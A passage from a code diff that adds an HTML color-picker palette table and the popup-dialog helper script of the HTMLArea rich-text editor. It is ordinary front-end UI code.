+<table border="0" cellspacing="1px" cellpadding="0px" width="100%" bgcolor="#000000" style="cursor: hand;">
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#003300 onMouseOver=View('003300') onClick=Set('003300') height="10px" width="10px"></td>
+<td bgcolor=#006600 onMouseOver=View('006600') onClick=Set('006600') height="10px" width="10px"></td>
+<td bgcolor=#009900 onMouseOver=View('009900') onClick=Set('009900') height="10px" width="10px"></td>
+<td bgcolor=#00CC00 onMouseOver=View('00CC00') onClick=Set('00CC00') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#330000 onMouseOver=View('330000') onClick=Set('330000') height="10px" width="10px"></td>
+<td bgcolor=#333300 onMouseOver=View('333300') onClick=Set('333300') height="10px" width="10px"></td>
+<td bgcolor=#336600 onMouseOver=View('336600') onClick=Set('336600') height="10px" width="10px"></td>
+<td bgcolor=#339900 onMouseOver=View('339900') onClick=Set('339900') height="10px" width="10px"></td>
+<td bgcolor=#33CC00 onMouseOver=View('33CC00') onClick=Set('33CC00') height="10px" width="10px"></td>
+<td bgcolor=#33FF00 onMouseOver=View('33FF00') onClick=Set('33FF00') height="10px" width="10px"></td>
+<td bgcolor=#660000 onMouseOver=View('660000') onClick=Set('660000') height="10px" width="10px"></td>
+<td bgcolor=#663300 onMouseOver=View('663300') onClick=Set('663300') height="10px" width="10px"></td>
+<td bgcolor=#666600 onMouseOver=View('666600') onClick=Set('666600') height="10px" width="10px"></td>
+<td bgcolor=#669900 onMouseOver=View('669900') onClick=Set('669900') height="10px" width="10px"></td>
+<td bgcolor=#66CC00 onMouseOver=View('66CC00') onClick=Set('66CC00') height="10px" width="10px"></td>
+<td bgcolor=#66FF00 onMouseOver=View('66FF00') onClick=Set('66FF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000033 onMouseOver=View('000033') onClick=Set('000033') height="10px" width="10px"></td>
+<td bgcolor=#003333 onMouseOver=View('003333') onClick=Set('003333') height="10px" width="10px"></td>
+<td bgcolor=#006633 onMouseOver=View('006633') onClick=Set('006633') height="10px" width="10px"></td>
+<td bgcolor=#009933 onMouseOver=View('009933') onClick=Set('009933') height="10px" width="10px"></td>
+<td bgcolor=#00CC33 onMouseOver=View('00CC33') onClick=Set('00CC33') height="10px" width="10px"></td>
+<td bgcolor=#00FF33 onMouseOver=View('00FF33') onClick=Set('00FF33') height="10px" width="10px"></td>
+<td bgcolor=#330033 onMouseOver=View('330033') onClick=Set('330033') height="10px" width="10px"></td>
+<td bgcolor=#333333 onMouseOver=View('333333') onClick=Set('333333') height="10px" width="10px"></td>
+<td bgcolor=#336633 onMouseOver=View('336633') onClick=Set('336633') height="10px" width="10px"></td>
+<td bgcolor=#339933 onMouseOver=View('339933') onClick=Set('339933') height="10px" width="10px"></td>
+<td bgcolor=#33CC33 onMouseOver=View('33CC33') onClick=Set('33CC33') height="10px" width="10px"></td>
+<td bgcolor=#33FF33 onMouseOver=View('33FF33') onClick=Set('33FF33') height="10px" width="10px"></td>
+<td bgcolor=#660033 onMouseOver=View('660033') onClick=Set('660033') height="10px" width="10px"></td>
+<td bgcolor=#663333 onMouseOver=View('663333') onClick=Set('663333') height="10px" width="10px"></td>
+<td bgcolor=#666633 onMouseOver=View('666633') onClick=Set('666633') height="10px" width="10px"></td>
+<td bgcolor=#669933 onMouseOver=View('669933') onClick=Set('669933') height="10px" width="10px"></td>
+<td bgcolor=#66CC33 onMouseOver=View('66CC33') onClick=Set('66CC33') height="10px" width="10px"></td>
+<td bgcolor=#66FF33 onMouseOver=View('66FF33') onClick=Set('66FF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000066 onMouseOver=View('000066') onClick=Set('000066') height="10px" width="10px"></td>
+<td bgcolor=#003366 onMouseOver=View('003366') onClick=Set('003366') height="10px" width="10px"></td>
+<td bgcolor=#006666 onMouseOver=View('006666') onClick=Set('006666') height="10px" width="10px"></td>
+<td bgcolor=#009966 onMouseOver=View('009966') onClick=Set('009966') height="10px" width="10px"></td>
+<td bgcolor=#00CC66 onMouseOver=View('00CC66') onClick=Set('00CC66') height="10px" width="10px"></td>
+<td bgcolor=#00FF66 onMouseOver=View('00FF66') onClick=Set('00FF66') height="10px" width="10px"></td>
+<td bgcolor=#330066 onMouseOver=View('330066') onClick=Set('330066') height="10px" width="10px"></td>
+<td bgcolor=#333366 onMouseOver=View('333366') onClick=Set('333366') height="10px" width="10px"></td>
+<td bgcolor=#336666 onMouseOver=View('336666') onClick=Set('336666') height="10px" width="10px"></td>
+<td bgcolor=#339966 onMouseOver=View('339966') onClick=Set('339966') height="10px" width="10px"></td>
+<td bgcolor=#33CC66 onMouseOver=View('33CC66') onClick=Set('33CC66') height="10px" width="10px"></td>
+<td bgcolor=#33FF66 onMouseOver=View('33FF66') onClick=Set('33FF66') height="10px" width="10px"></td>
+<td bgcolor=#660066 onMouseOver=View('660066') onClick=Set('660066') height="10px" width="10px"></td>
+<td bgcolor=#663366 onMouseOver=View('663366') onClick=Set('663366') height="10px" width="10px"></td>
+<td bgcolor=#666666 onMouseOver=View('666666') onClick=Set('666666') height="10px" width="10px"></td>
+<td bgcolor=#669966 onMouseOver=View('669966') onClick=Set('669966') height="10px" width="10px"></td>
+<td bgcolor=#66CC66 onMouseOver=View('66CC66') onClick=Set('66CC66') height="10px" width="10px"></td>
+<td bgcolor=#66FF66 onMouseOver=View('66FF66') onClick=Set('66FF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#000099 onMouseOver=View('000099') onClick=Set('000099') height="10px" width="10px"></td>
+<td bgcolor=#003399 onMouseOver=View('003399') onClick=Set('003399') height="10px" width="10px"></td>
+<td bgcolor=#006699 onMouseOver=View('006699') onClick=Set('006699') height="10px" width="10px"></td>
+<td bgcolor=#009999 onMouseOver=View('009999') onClick=Set('009999') height="10px" width="10px"></td>
+<td bgcolor=#00CC99 onMouseOver=View('00CC99') onClick=Set('00CC99') height="10px" width="10px"></td>
+<td bgcolor=#00FF99 onMouseOver=View('00FF99') onClick=Set('00FF99') height="10px" width="10px"></td>
+<td bgcolor=#330099 onMouseOver=View('330099') onClick=Set('330099') height="10px" width="10px"></td>
+<td bgcolor=#333399 onMouseOver=View('333399') onClick=Set('333399') height="10px" width="10px"></td>
+<td bgcolor=#336699 onMouseOver=View('336699') onClick=Set('336699') height="10px" width="10px"></td>
+<td bgcolor=#339999 onMouseOver=View('339999') onClick=Set('339999') height="10px" width="10px"></td>
+<td bgcolor=#33CC99 onMouseOver=View('33CC99') onClick=Set('33CC99') height="10px" width="10px"></td>
+<td bgcolor=#33FF99 onMouseOver=View('33FF99') onClick=Set('33FF99') height="10px" width="10px"></td>
+<td bgcolor=#660099 onMouseOver=View('660099') onClick=Set('660099') height="10px" width="10px"></td>
+<td bgcolor=#663399 onMouseOver=View('663399') onClick=Set('663399') height="10px" width="10px"></td>
+<td bgcolor=#666699 onMouseOver=View('666699') onClick=Set('666699') height="10px" width="10px"></td>
+<td bgcolor=#669999 onMouseOver=View('669999') onClick=Set('669999') height="10px" width="10px"></td>
+<td bgcolor=#66CC99 onMouseOver=View('66CC99') onClick=Set('66CC99') height="10px" width="10px"></td>
+<td bgcolor=#66FF99 onMouseOver=View('66FF99') onClick=Set('66FF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000CC onMouseOver=View('0000CC') onClick=Set('0000CC') height="10px" width="10px"></td>
+<td bgcolor=#0033CC onMouseOver=View('0033CC') onClick=Set('0033CC') height="10px" width="10px"></td>
+<td bgcolor=#0066CC onMouseOver=View('0066CC') onClick=Set('0066CC') height="10px" width="10px"></td>
+<td bgcolor=#0099CC onMouseOver=View('0099CC') onClick=Set('0099CC') height="10px" width="10px"></td>
+<td bgcolor=#00CCCC onMouseOver=View('00CCCC') onClick=Set('00CCCC') height="10px" width="10px"></td>
+<td bgcolor=#00FFCC onMouseOver=View('00FFCC') onClick=Set('00FFCC') height="10px" width="10px"></td>
+<td bgcolor=#3300CC onMouseOver=View('3300CC') onClick=Set('3300CC') height="10px" width="10px"></td>
+<td bgcolor=#3333CC onMouseOver=View('3333CC') onClick=Set('3333CC') height="10px" width="10px"></td>
+<td bgcolor=#3366CC onMouseOver=View('3366CC') onClick=Set('3366CC') height="10px" width="10px"></td>
+<td bgcolor=#3399CC onMouseOver=View('3399CC') onClick=Set('3399CC') height="10px" width="10px"></td>
+<td bgcolor=#33CCCC onMouseOver=View('33CCCC') onClick=Set('33CCCC') height="10px" width="10px"></td>
+<td bgcolor=#33FFCC onMouseOver=View('33FFCC') onClick=Set('33FFCC') height="10px" width="10px"></td>
+<td bgcolor=#6600CC onMouseOver=View('6600CC') onClick=Set('6600CC') height="10px" width="10px"></td>
+<td bgcolor=#6633CC onMouseOver=View('6633CC') onClick=Set('6633CC') height="10px" width="10px"></td>
+<td bgcolor=#6666CC onMouseOver=View('6666CC') onClick=Set('6666CC') height="10px" width="10px"></td>
+<td bgcolor=#6699CC onMouseOver=View('6699CC') onClick=Set('6699CC') height="10px" width="10px"></td>
+<td bgcolor=#66CCCC onMouseOver=View('66CCCC') onClick=Set('66CCCC') height="10px" width="10px"></td>
+<td bgcolor=#66FFCC onMouseOver=View('66FFCC') onClick=Set('66FFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#0000FF onMouseOver=View('0000FF') onClick=Set('0000FF') height="10px" width="10px"></td>
+<td bgcolor=#0033FF onMouseOver=View('0033FF') onClick=Set('0033FF') height="10px" width="10px"></td>
+<td bgcolor=#0066FF onMouseOver=View('0066FF') onClick=Set('0066FF') height="10px" width="10px"></td>
+<td bgcolor=#0099FF onMouseOver=View('0099FF') onClick=Set('0099FF') height="10px" width="10px"></td>
+<td bgcolor=#00CCFF onMouseOver=View('00CCFF') onClick=Set('00CCFF') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#3300FF onMouseOver=View('3300FF') onClick=Set('3300FF') height="10px" width="10px"></td>
+<td bgcolor=#3333FF onMouseOver=View('3333FF') onClick=Set('3333FF') height="10px" width="10px"></td>
+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#5b84ab onMouseOver=View('5b84ab') onClick=Set('5b84ab') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
--- /dev/null
+// (c) dynarch.com 2003-2004
+// Distributed under the same terms as HTMLArea itself.
+
+function PopupWin(editor, title, handler, initFunction) {
+ this.editor = editor;
+ this.handler = handler;
+ var dlg = window.open("", "__ha_dialog",
+ "toolbar=no,menubar=no,personalbar=no,width=600,height=600,left=20,top=40" +
+ "scrollbars=no,resizable=no");
+ this.window = dlg;
+ var doc = dlg.document;
+ this.doc = doc;
+ var self = this;
+
+ var base = document.baseURI || document.URL;
+ if (base && base.match(/(.*)\/([^\/]+)/)) {
+ base = RegExp.$1 + "/";
+ }
+ if (typeof _editor_url != "undefined" && !/^\//.test(_editor_url)) {
+ // _editor_url doesn't start with '/' which means it's relative
+ // FIXME: there's a problem here, it could be http:// which
+ // doesn't start with slash but it's not relative either.
+ base += _editor_url;
+ } else
+ base = _editor_url;
+ if (!/\/$/.test(base)) {
+ // base does not end in slash, add it now
+ base += '/';
+ }
+ this.baseURL = base;
+
+ doc.open();
+ var html = "<html><head><title>" + title + "</title>\n";
+ // html += "<base href='" + base + "htmlarea.js' />\n";
+ html += "<style type='text/css'>@import url(" + base + "htmlarea.css);</style></head>\n";
+ html += "<body class='dialog popupwin' id='--HA-body'></body></html>";
+ doc.write(html);
+ doc.close();
+
+ // sometimes I Hate Mozilla... ;-(
+ function init2() {
+ var body = doc.body;
+ if (!body) {
+ setTimeout(init2, 25);
+ return false;
+ }
+ dlg.title = title;
+ doc.documentElement.style.padding = "0px";
+ doc.documentElement.style.margin = "0px";
+ var content = doc.createElement("div");
+ content.className = "content";
+ self.content = content;
+ body.appendChild(content);
+ self.element = body;
+ initFunction(self);
+ dlg.focus();
+ };
+ init2();
+};
+
+PopupWin.prototype.callHandler = function() {
+ var tags = ["input", "textarea", "select"];
+ var params = new Object();
+ for (var ti in tags) {
+ var tag = tags[ti];
+ var els = this.content.getElementsByTagName(tag);
+ for (var j = 0; j < els.length; ++j) {
+ var el = els[j];
+ var val = el.value;
+ if (el.tagName.toLowerCase() == "input") {
+ if (el.type == "checkbox") {
+ val = el.checked;
+ }
+ }
+ params[el.name] = val;
+ }
+ }
+ this.handler(this, params);
+ return false;
+};
+
+PopupWin.prototype.close = function() {
+ this.window.close();
+};
+
+PopupWin.prototype.addButtons = function() {
+ var self = this;
+ var div = this.doc.createElement("div");
+ this.content.appendChild(div);
+ div.className = "buttons";
+ for (var i = 0; i < arguments.length; ++i) {
+ var btn = arguments[i];
+ var button = this.doc.createElement("button");
+ div.appendChild(button);
+ button.innerHTML = HTMLArea.I18N.buttons[btn];
+ switch (btn) {
+ case "ok":
+ button.onclick = function() {
+ self.callHandler();
+ self.close();
+ return false;
+ };
